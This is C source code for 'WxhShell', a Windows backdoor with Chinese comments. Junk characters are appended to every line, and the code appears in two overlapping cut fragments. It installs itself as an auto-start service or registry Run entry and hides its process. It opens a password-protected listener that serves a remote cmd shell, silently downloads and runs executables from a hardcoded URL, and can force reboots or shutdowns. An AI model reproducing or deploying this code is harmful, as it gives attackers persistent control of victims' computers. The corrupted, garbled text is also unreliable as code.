    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /?Fa<{  
    else { .j_YVYu1&  
    closesocket(wsh); pCm|t!,  
    ExitThread(0); Lv`NS+fX  
    } ; \N${YIn  
    break; SUQk0 (M  
    } VvTs87  
  // 获取shell nkvkHh  
  case 's': { Z )f\^  
    CmdShell(wsh); K,\Bj/V(  
    closesocket(wsh); 60u}iiC@  
    ExitThread(0); 4)=\5wJDg1  
    break; p .^#mN  
  } 235wl  
  // 退出 (`pd>  
  case 'x': { (e$/@3*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q~p[jQ,4wZ  
    CloseIt(wsh); h#iFp9N  
    break; ,awp)@VG7  
    } >9v?p=  
  // 离开 KoPhPH  
  case 'q': { (Mw<E<f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fm%1vM$[J  
    closesocket(wsh); #r4S%  
    WSACleanup(); d=B DR^/wA  
    exit(1); :U7m@3czU  
    break; {} 11U0  
        } n xc35  
  } "?~u*5  
  } oqOXRUy  
Dx-G0 KIG  
  // 提示信息 H8}}R~ZO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EFg s}BV_9  
} z!={d1u#T  
  } u,6 'yB'u  
Y C uuj$  
  return; P|S'MS';:  
} n./onv  
2@(Qd3N(  
// shell模块句柄 wb>>bV+U  
int CmdShell(SOCKET sock) -k19BDJ,W  
{ ;rj=hc  
STARTUPINFO si; jy]< q^J  
ZeroMemory(&si,sizeof(si)); dpBG)Xzoyv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K_J o^BZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @'Er&[P  
PROCESS_INFORMATION ProcessInfo; 'ErtiD  
char cmdline[]="cmd"; >o\[?QvP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  4^L+LY  
  return 0; FshQ OFW  
} ?^F#}>C  
c{Ax{-'R  
// 自身启动模式 "/).:9],}  
int StartFromService(void) G;+hc%3y  
{ w@P c7$EP  
typedef struct 1u\fLAXn  
{ /:a~;i  
  DWORD ExitStatus; 9Q".166  
  DWORD PebBaseAddress; EiY i<Z_S  
  DWORD AffinityMask; Kt%`]Wp  
  DWORD BasePriority; vXnTPjbE  
  ULONG UniqueProcessId; ms=I lz  
  ULONG InheritedFromUniqueProcessId; c FjC  
}   PROCESS_BASIC_INFORMATION; ~>@Dn40  
Pl=X<Bp  
PROCNTQSIP NtQueryInformationProcess; jZ< *XX  
ku*|?uF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ed|7E_v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a$I; L  
K<b -|t9f  
  HANDLE             hProcess; )gNHD?4x  
  PROCESS_BASIC_INFORMATION pbi; GYiUne $  
R Nr=M^Zn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^/HE_keY  
  if(NULL == hInst ) return 0; j0sR]i  
/^ v4[]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ushQWP)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5I{YsM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -t % .I=|  
-5A@FGh  
  if (!NtQueryInformationProcess) return 0; Z94D<X"  
hHoc7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u~?]/-.TY  
  if(!hProcess) return 0; K/Axojo  
Dw{C_e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '<m[  
mxjY-Kq  
  CloseHandle(hProcess); )zt*am;  
c*!bT$]~\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F1?@tcr'  
if(hProcess==NULL) return 0; BZsw(l4/0'  
k+-u 4W   
HMODULE hMod; vVKiE 6^  
char procName[255]; x&)P)H0vn  
unsigned long cbNeeded; ,Mc}U9)F  
O>w $  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Kd;|Z  
)T?w,"kI  
  CloseHandle(hProcess); NK*~UePy  
~&k1P:#R  
if(strstr(procName,"services")) return 1; // 以服务启动 ` M"Zq  
wamqeb{u  
  return 0; // 注册表启动 5nqj  
} nb22b Xt  
yYWGM  
// 主模块 'fcJ]%-=  
int StartWxhshell(LPSTR lpCmdLine) :?jOts>uP  
{ 1NN99^ q  
  SOCKET wsl; )1J&tV*U  
BOOL val=TRUE; } RG  
  int port=0; |,t#Au}61  
  struct sockaddr_in door; R$(,~~MH  
|; {wy  
  if(wscfg.ws_autoins) Install(); 7Y @ &&  
sEe^:aSN  
port=atoi(lpCmdLine); ^7TM.lE  
v8 ggPI  
if(port<=0) port=wscfg.ws_port; /$WEO[o  
l4hC>q$T  
  WSADATA data; K-k;`s#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gGe `w  
%dO'kU/-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gjvKrg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~+QfP:G  
  door.sin_family = AF_INET; #<4h Y7/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gHvxmIG  
  door.sin_port = htons(port); ?8b?{`@V  
(tx6U.Oy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \ tF><  
closesocket(wsl);  ];Bh1  
return 1; ga6M8eOI  
} %@kmuz??  
"l n(EvW  
  if(listen(wsl,2) == INVALID_SOCKET) { ggJn oL  
closesocket(wsl); 4[Hf[.  
return 1; DP &,jU6  
} b)3dZ*cOJ  
  Wxhshell(wsl); ,>`wz^z  
  WSACleanup(); { >bw:^F  
_rY,=h{+  
return 0; w2YfFtgD,  
"^Tb8!  
} ygWo9?  
+/-#yfn!TR  
// 以NT服务方式启动 sZFjkfak  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NK~j>>^;v  
{ nRPy)L{  
DWORD   status = 0; y5RcJM  
  DWORD   specificError = 0xfffffff; MHpPb{ ^  
xCEEv5(5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O!\P]W4r$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JC_Y#kN@z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SZzS$6 t  
  serviceStatus.dwWin32ExitCode     = 0; 5nkx8JJ  
  serviceStatus.dwServiceSpecificExitCode = 0; .`)\GjDv  
  serviceStatus.dwCheckPoint       = 0; ^j0Mu.+_  
  serviceStatus.dwWaitHint       = 0; YRfs8I^rg  
(es+VI2!&C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nz3j";d  
  if (hServiceStatusHandle==0) return; S>/p6}3]  
B-@6m  
status = GetLastError(); I_6?Q^_uZ  
  if (status!=NO_ERROR) |ITp$  _S  
{ `M6!V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 68[3 /  
    serviceStatus.dwCheckPoint       = 0; ug.mY=n '  
    serviceStatus.dwWaitHint       = 0; cuO(*%Is1  
    serviceStatus.dwWin32ExitCode     = status; j#f+0  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'nz;|6uC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m$ )yd~  
    return; iKnH6} `?U  
  } X|TEeE c[L  
v~H1Il_+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @{iws@.  
  serviceStatus.dwCheckPoint       = 0; !hrXud=#"  
  serviceStatus.dwWaitHint       = 0; #g#vDR!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z\Rs?v"  
} 5|my}.TR  
w},' 1  
// 处理NT服务事件,比如:启动、停止 y>Zvose  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r Lg(J|^  
{ [^EU'lewnW  
switch(fdwControl) m2E$[g  
{ %<lfe<;^t  
case SERVICE_CONTROL_STOP: ,24NMv7  
  serviceStatus.dwWin32ExitCode = 0; ^1s!OT Is  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q&] }`Rp=  
  serviceStatus.dwCheckPoint   = 0; r(y1^S9!8  
  serviceStatus.dwWaitHint     = 0; ,d(F|5 M:  
  { 7-6Z\.-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )xX(Et6+`  
  } ~=h]r/b< U  
  return; xphw0Es  
case SERVICE_CONTROL_PAUSE: #~3x^ 4Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J~eY,n.6]  
  break; '(mJ*Eb  
case SERVICE_CONTROL_CONTINUE: JZ  Qkr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F's($n  
  break; .=~beTS'Vo  
case SERVICE_CONTROL_INTERROGATE: fu?5gzT+b  
  break; O{zY(`[  
}; %Fig`qX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;>QED  
} |7,|-s[R^  
-}`ES]  
// 标准应用程序主函数 vDZhoD=VR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P*oKcq1R  
{ lTJ1]7)  
5tT-[mQ*  
// 获取操作系统版本 E{kh)-  
OsIsNt=GetOsVer(); [SgWUP*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `,i'vb`W#b  
4o8uWS{`  
  // 从命令行安装 3t22KY[`  
  if(strpbrk(lpCmdLine,"iI")) Install(); #mlTN3   
g9|B-1[  
  // 下载执行文件 }^Be^a<ub  
if(wscfg.ws_downexe) { CnruaN@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .CdaOWM7  
  WinExec(wscfg.ws_filenam,SW_HIDE); Yr@_X  
} K&0op 4&  
pA%XqG*=Y  
if(!OsIsNt) { x^Tjs<#  
// 如果时win9x,隐藏进程并且设置为注册表启动 &I: [ 'l!  
HideProc(); kKVd4B[#*  
StartWxhshell(lpCmdLine); 0h-holUf}~  
} ^ AxU  
else JW9^C  
  if(StartFromService()) []:;8fY  
  // 以服务方式启动 vzJ69%E_  
  StartServiceCtrlDispatcher(DispatchTable); 9+"D8J7  
else =MDir$1Z  
  // 普通方式启动 [tsi8r =T  
  StartWxhshell(lpCmdLine); VvN52 qeL  
fiOc;d8  
return 0; "r @RDw   
} 0cZyO$.  
^6[KzE#*  
_a@&$NEox  
r \H+=2E'  
=========================================== q9.)p  
R~8gw^w![  
g]85[xz  
+qq,;npi  
+jYO?uaT  
{PgB~|W  
" _H}y7  
r9z_8#cR  
#include <stdio.h> v#&r3ZW0  
#include <string.h> EQ`;=I3J9y  
#include <windows.h> a(Ka2;M4J  
#include <winsock2.h> K y~ 9's  
#include <winsvc.h> d=V4,:=S  
#include <urlmon.h> UfjLNe}wA  
L;/#D>U(  
#pragma comment (lib, "Ws2_32.lib") #%z--xuJL  
#pragma comment (lib, "urlmon.lib")  A]R7H1  
SjD,  
#define MAX_USER   100 // 最大客户端连接数 (1JZuR<?c  
#define BUF_SOCK   200 // sock buffer 9+@"DuYc6  
#define KEY_BUFF   255 // 输入 buffer +#8?y 5~q  
k1Zu&4C\  
#define REBOOT     0   // 重启 o^dt# &  
#define SHUTDOWN   1   // 关机 b9ysxuUdS  
u/!U/|  
#define DEF_PORT   5000 // 监听端口 *- $u\?$  
HX\@Qws  
#define REG_LEN     16   // 注册表键长度 S_LY>k?  
#define SVC_LEN     80   // NT服务名长度 q88p~Ccoa  
S+>&O3m  
// 从dll定义API *V#v6r7<Y/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b7R#tT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vLR)B@O,2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >0)E\_ u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cd{3JGg B  
Hb 'fEo r  
// wxhshell配置信息 i,rP/A^q  
struct WSCFG { ka{9{/dz3  
  int ws_port;         // 监听端口 SFoF]U09  
  char ws_passstr[REG_LEN]; // 口令 VOwt2&mZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no hR b k-b  
  char ws_regname[REG_LEN]; // 注册表键名 8~RUYsg  
  char ws_svcname[REG_LEN]; // 服务名 @iB**zR/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1~8F&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;d G.oUk=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +5Ir=]=T9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j>gO]*BX~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d|TRP,y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XOa<R  
nkHr(tF 7  
}; PN/2EmwtC  
I@cKiB  
// default Wxhshell configuration *{W5QEa  
struct WSCFG wscfg={DEF_PORT, 9F0B-aZ  
    "xuhuanlingzhe", #W 1`vke3  
    1, FMY r6/I  
    "Wxhshell", @ :Q];rc  
    "Wxhshell", pW8pp?  
            "WxhShell Service", :eS7"EG{3  
    "Wrsky Windows CmdShell Service", :d/Z&LXD  
    "Please Input Your Password: ", ^*C6]*C}te  
  1, FU!U{qDI  
  "http://www.wrsky.com/wxhshell.exe", +;#hED; 8  
  "Wxhshell.exe" g-mK(kY4p  
    }; R8EDJ2u#  
l1jS2O(  
// 消息定义模块 }llzO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vtR<(tOu@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5<IUTso5h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /.'1i4Xa1P  
char *msg_ws_ext="\n\rExit."; r!Eo8C  
char *msg_ws_end="\n\rQuit."; [HF)d#A  
char *msg_ws_boot="\n\rReboot..."; y>2v 9;Qp  
char *msg_ws_poff="\n\rShutdown..."; {0QD-b o  
char *msg_ws_down="\n\rSave to "; Ul@ZCv+  
dcU|y%k%  
char *msg_ws_err="\n\rErr!"; s`C#=l4  
char *msg_ws_ok="\n\rOK!"; wVE"nN#  
C'n 9n!hR  
char ExeFile[MAX_PATH]; $0LlaN@e  
int nUser = 0; FD|R4 V*3  
HANDLE handles[MAX_USER]; 7bsW7;C  
int OsIsNt; 1Od: I}@  
m>:%[vm  
SERVICE_STATUS       serviceStatus; Zu%_kpW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \_x)E]D  
xO1d^{~^^  
// 函数声明 A ,LAA$  
int Install(void); 7azxqa5:  
int Uninstall(void); I_pA)P*Q(6  
int DownloadFile(char *sURL, SOCKET wsh); <@*mFq0,  
int Boot(int flag); 7MGc+M(p  
void HideProc(void); _nx|ZJ  
int GetOsVer(void); Om}&`AP};  
int Wxhshell(SOCKET wsl); s ]QzNc  
void TalkWithClient(void *cs); 9\Xl 3j!  
int CmdShell(SOCKET sock); /cI]Z^&  
int StartFromService(void);  a$aI%  
int StartWxhshell(LPSTR lpCmdLine); ` |]6<<'iW  
y]?$zbB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WM@uxe,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ni%^w(J3Q  
,\=u(Y\I[  
// 数据结构和表定义 U4N S.`V  
SERVICE_TABLE_ENTRY DispatchTable[] = N_gjOE`x5  
{ -3 W 4  
{wscfg.ws_svcname, NTServiceMain}, IZ2#jSDn  
{NULL, NULL} Zfb:>J@h6  
}; ]/$tt@h  
jNIM1_JjD  
// 自我安装 7#g C(&\A  
int Install(void) PTePSj1N  
{ CJu;X[6  
  char svExeFile[MAX_PATH]; H/, tE0ZV  
  HKEY key; %pwm34  
  strcpy(svExeFile,ExeFile); qQ1m5_OD`z  
*Lh0E/5  
// 如果是win9x系统,修改注册表设为自启动 Hb]7>[L  
if(!OsIsNt) { (c} 0Sg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6iC}%eU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pc(2'r@#  
  RegCloseKey(key); h h8UKEM-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  Mys;Il "  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KBJ|P^W5j  
  RegCloseKey(key); A?7%q^;E  
  return 0; 4\$Ze0tv  
    } 't|F}@HP  
  } Hou{tUm{xC  
} #!hpe^t  
else { Maxnk3n  
l y%**iN  
// 如果是NT以上系统,安装为系统服务 m+u>%Ys`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ebao7r5@  
if (schSCManager!=0) +}Q4 g]M8  
{ ?"C]h s  
  SC_HANDLE schService = CreateService IIu3mXAw  
  ( Y^!40XjrD  
  schSCManager, b%_QL3 m6  
  wscfg.ws_svcname, -e)bq: T  
  wscfg.ws_svcdisp, Xt7'clr  
  SERVICE_ALL_ACCESS, ke4q$pD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CTI(Kh+  
  SERVICE_AUTO_START, ^Qr P.l#pZ  
  SERVICE_ERROR_NORMAL, -s)2b ;  
  svExeFile, -w2g a1  
  NULL, I|ULf  
  NULL, ^twv0>vEo  
  NULL, ~XxD[T5  
  NULL,  HOD2/  
  NULL y k5P/H)  
  ); Xo*$|9[.  
  if (schService!=0) .kYzB.3@]  
  { njX:[_&  
  CloseServiceHandle(schService); Ab"uN  
  CloseServiceHandle(schSCManager); e7?W VV,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PRLV1o1#  
  strcat(svExeFile,wscfg.ws_svcname); ,mX|TI<*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %1<p1u'r?#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b{ozt\:M  
  RegCloseKey(key); .J@[v  
  return 0; I[`2MKh  
    } ]q3Kd{B  
  } $oQsh|sTI  
  CloseServiceHandle(schSCManager); YBCjcD[G  
} ]EcZ|c7o9y  
} h@~X*yLKh  
Q)@1:(V/  
return 1; ?.A|Fy^  
} 0B4(t6o  
z\h+6FCD  
// 自我卸载 0;H6b=  
int Uninstall(void) @r]s9~Lx9  
{ pzax~Vp  
  HKEY key; ]6;AK\9TM  
=zjUd  5  
if(!OsIsNt) { cMWO_$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +7Lco"\w<  
  RegDeleteValue(key,wscfg.ws_regname); 5Hm!5:ZB  
  RegCloseKey(key); *D{/p/|[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lp}WBd+  
  RegDeleteValue(key,wscfg.ws_regname); !TOi]`vqc  
  RegCloseKey(key); NslA/"*  
  return 0; r^E]GDz  
  }  mo,l`UL  
} V0 F30rK  
} B#?2,  
else { $ tNhwF  
]`sIs= _[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v|I5Gz$qpa  
if (schSCManager!=0) 9xQ 8`7  
{ MH.,s@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =b!J)]  
  if (schService!=0) yOK])&c  
  { i+[3o@  
  if(DeleteService(schService)!=0) { -p.*<y  
  CloseServiceHandle(schService); mrC+J*  
  CloseServiceHandle(schSCManager); ~snF20  
  return 0; MgQU6O<  
  } _qeuVi=A  
  CloseServiceHandle(schService); P"x-7>c>Y  
  } ZGpTw[5ql  
  CloseServiceHandle(schSCManager); %p2x^air  
} bfJ`}xl(8  
} 7vaN&%;E%  
UY-IHz;&O-  
return 1; +%Y c4  
} `f+8WPJPZ  
:pDY  
// 从指定url下载文件 .W :  
int DownloadFile(char *sURL, SOCKET wsh) 0O#B'Uu  
{ N 2"3~  #  
  HRESULT hr; 2d2@J{  
char seps[]= "/"; 2]} Uov  
char *token; M> jBm .  
char *file; VL7S7pb_  
char myURL[MAX_PATH]; v0C;j (2zb  
char myFILE[MAX_PATH]; 1_NG+H]x9  
eky(;%Sz  
strcpy(myURL,sURL); :@ E1Pun?  
  token=strtok(myURL,seps); =~hsKBt*  
  while(token!=NULL) V[Rrst0yo  
  { IE)"rTI)b  
    file=token; )@,90Vhh  
  token=strtok(NULL,seps); @?Gw|bP  
  } /S]:dDY9K  
/c@*eU  
GetCurrentDirectory(MAX_PATH,myFILE); Y=a v8Y|`  
strcat(myFILE, "\\"); R3j#WgltP  
strcat(myFILE, file); `~ _H=l9{  
  send(wsh,myFILE,strlen(myFILE),0); PZuq'^p  
send(wsh,"...",3,0); N^\2 _T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Kx- s0cw  
  if(hr==S_OK) DB`$Ru@  
return 0; n @ &"+  
else EmX>T>~#D  
return 1; _ktK+8*6`  
"{A*(.  
} R CBf;$O  
~=:2~$gsn  
// 系统电源模块 _F`$ d2  
int Boot(int flag) ]C16y. ~e  
{ uu}`warW  
  HANDLE hToken; 7fju  
  TOKEN_PRIVILEGES tkp; "1XXE3^^  
*jM_wwG  
  if(OsIsNt) { qzA`d 5rX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  8]q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1, "I=  
    tkp.PrivilegeCount = 1; b7B+eN ?z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lWx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kSbO[)p   
if(flag==REBOOT) { 4q>7OB:e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B_{HkQ.PW  
  return 0; D \N \BD  
} 5D,.^a1 A  
else { X'fuF2owd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i2){xg~c  
  return 0; oZTgN .q  
} 'X =p7 d|'  
  } r&}(9Cq&"y  
  else { JD6aiI!Su  
if(flag==REBOOT) { +I t#Z3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KZ=u54  
  return 0; 00ofHZ  
} opsQn\4DZ?  
else { L7'%;?Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M!1U@6n!=)  
  return 0; |% z ^N*  
} dsJm>U)  
} veeI==]  
HcRa`Sfc]/  
return 1; xc9YM0B&  
} L!t@-5~  
pkJ/oT  
// win9x进程隐藏模块 j5Qo*p  
void HideProc(void) ,P{mk%=9  
{ lbQQtpEKO  
vw2`:]Q+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <$%X<sDkq  
  if ( hKernel != NULL ) Dj i^+;"&  
  { r9# \13-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nVE9^')8V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~ 3^='o  
    FreeLibrary(hKernel); 98R KCc9h  
  } B z^|SkEit  
Q_]d5pl  
return; j9d!yW  
} xg<Hxn,<M  
`s|]"'rX  
// 获取操作系统版本 G O{ . 9_2  
int GetOsVer(void) )=J5\3O*x  
{ u:&o}[  
  OSVERSIONINFO winfo; X&M4MuL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c~0{s>  
  GetVersionEx(&winfo); Z&Y=`GOI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <[Q3rJ  
  return 1; \P;rES'  
  else uI~s8{0T6  
  return 0; +x=)/;:  
} UH? p]4Nz  
J NVr  
// 客户端句柄模块 &;E5[jO^D  
int Wxhshell(SOCKET wsl) Tlq-m2]  
{ eg/<[ A:  
  SOCKET wsh; .B72C[' c  
  struct sockaddr_in client; :XG;ru%i  
  DWORD myID; b>\?yL/%+?  
p =(@3%k  
  while(nUser<MAX_USER) v>Lm;q(  
{ S?ujRp  
  int nSize=sizeof(client); :O-iykXyI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7 <9yH:1  
  if(wsh==INVALID_SOCKET) return 1; GOT1@.Y  
JIm4vS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fX~'Zk\u  
if(handles[nUser]==0) vxFTen{-F  
  closesocket(wsh); Bc7V)Y K  
else C NsNZJ  
  nUser++; 7ZxaPkIu&%  
  }  Ea6 &~"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Yd EptAI  
0(U#)  
  return 0; 0NDftcB]  
} =,y |00l  
j.e0;! (L}  
// 关闭 socket .Jx9bIw  
void CloseIt(SOCKET wsh) [XVEBA4GI  
{ XV3C`:b  
closesocket(wsh); oA] KE"T  
nUser--; O7d$YB_'  
ExitThread(0); ]z/Zq  
} #LlUxHv #  
K5Q43 e1  
// 客户端请求句柄 fhPkEvJ  
void TalkWithClient(void *cs) &H}r%%|A  
{ o+w;PP)+=  
FBx_c;)9Z  
  SOCKET wsh=(SOCKET)cs; Jn:ZYqc  
  char pwd[SVC_LEN]; &QRE"_g  
  char cmd[KEY_BUFF]; Hy.AyU|L  
char chr[1]; &LO"g0w  
int i,j; Od+6 -J  
,.iRnR  
  while (nUser < MAX_USER) { &|>S|  
K<?nq0-  
if(wscfg.ws_passstr) { '* mH*?Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); De7T s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :NJ_n6E  
  //ZeroMemory(pwd,KEY_BUFF); NBl+_/2'w  
      i=0; k@zy  
  while(i<SVC_LEN) { W} WI; cI  
b@RHc!,>jV  
  // 设置超时 vEf4HZ&w  
  fd_set FdRead; V7#v6!7A@  
  struct timeval TimeOut; Vk< LJ S  
  FD_ZERO(&FdRead); =q N2Xg/  
  FD_SET(wsh,&FdRead); ^` un'5Vk  
  TimeOut.tv_sec=8; #/PAA  
  TimeOut.tv_usec=0; +]=e;LN$0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 720P jQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); COH<Tj  
%ZHP2j %~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (c0A.L)  
  pwd=chr[0]; <: &*  
  if(chr[0]==0xd || chr[0]==0xa) { r0p w_j  
  pwd=0; /Mb"V5S(W  
  break; OL4z%mDZi  
  } *s@Qtgu  
  i++; rG,5[/l  
    } 3?Y2L  
o7IxJCL=Q  
  // 如果是非法用户,关闭 socket gV&z2S~"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5 ae2<Y=  
} (sVi\R  
l5L.5 $N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ySI~{YVM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J2uZmEt  
1lv2@QH9  
while(1) { k,euhA/&  
>X*Mio8P#  
  ZeroMemory(cmd,KEY_BUFF); C6rg<tCH  
J\ e+}{  
      // 自动支持客户端 telnet标准   re> rr4@  
  j=0; $-[CG7VgX%  
  while(j<KEY_BUFF) { +V&{*f)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); as J)4ema  
  cmd[j]=chr[0]; ve&zcSeb  
  if(chr[0]==0xa || chr[0]==0xd) { ca+[0w@S  
  cmd[j]=0; b!M"VDjQ  
  break; 2t $j  
  } ;5@  t[r  
  j++; eb*#'\~'  
    } [s<^&WM/  
#r3l[ bKK  
  // 下载文件 z0/} !  
  if(strstr(cmd,"http://")) { 8i?l02  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u,3#M ~  
  if(DownloadFile(cmd,wsh)) MxBTX4ES  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &w=3^  
  else *5xJv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); id$Ul?z8  
  } Mg^e3D1_  
  else { Z{H5oUk  
_v* nlc  
    switch(cmd[0]) { KM`eIw>8  
  x"~~l  
  // 帮助 $Y 7c  
  case '?': { F4e:ZExJ  
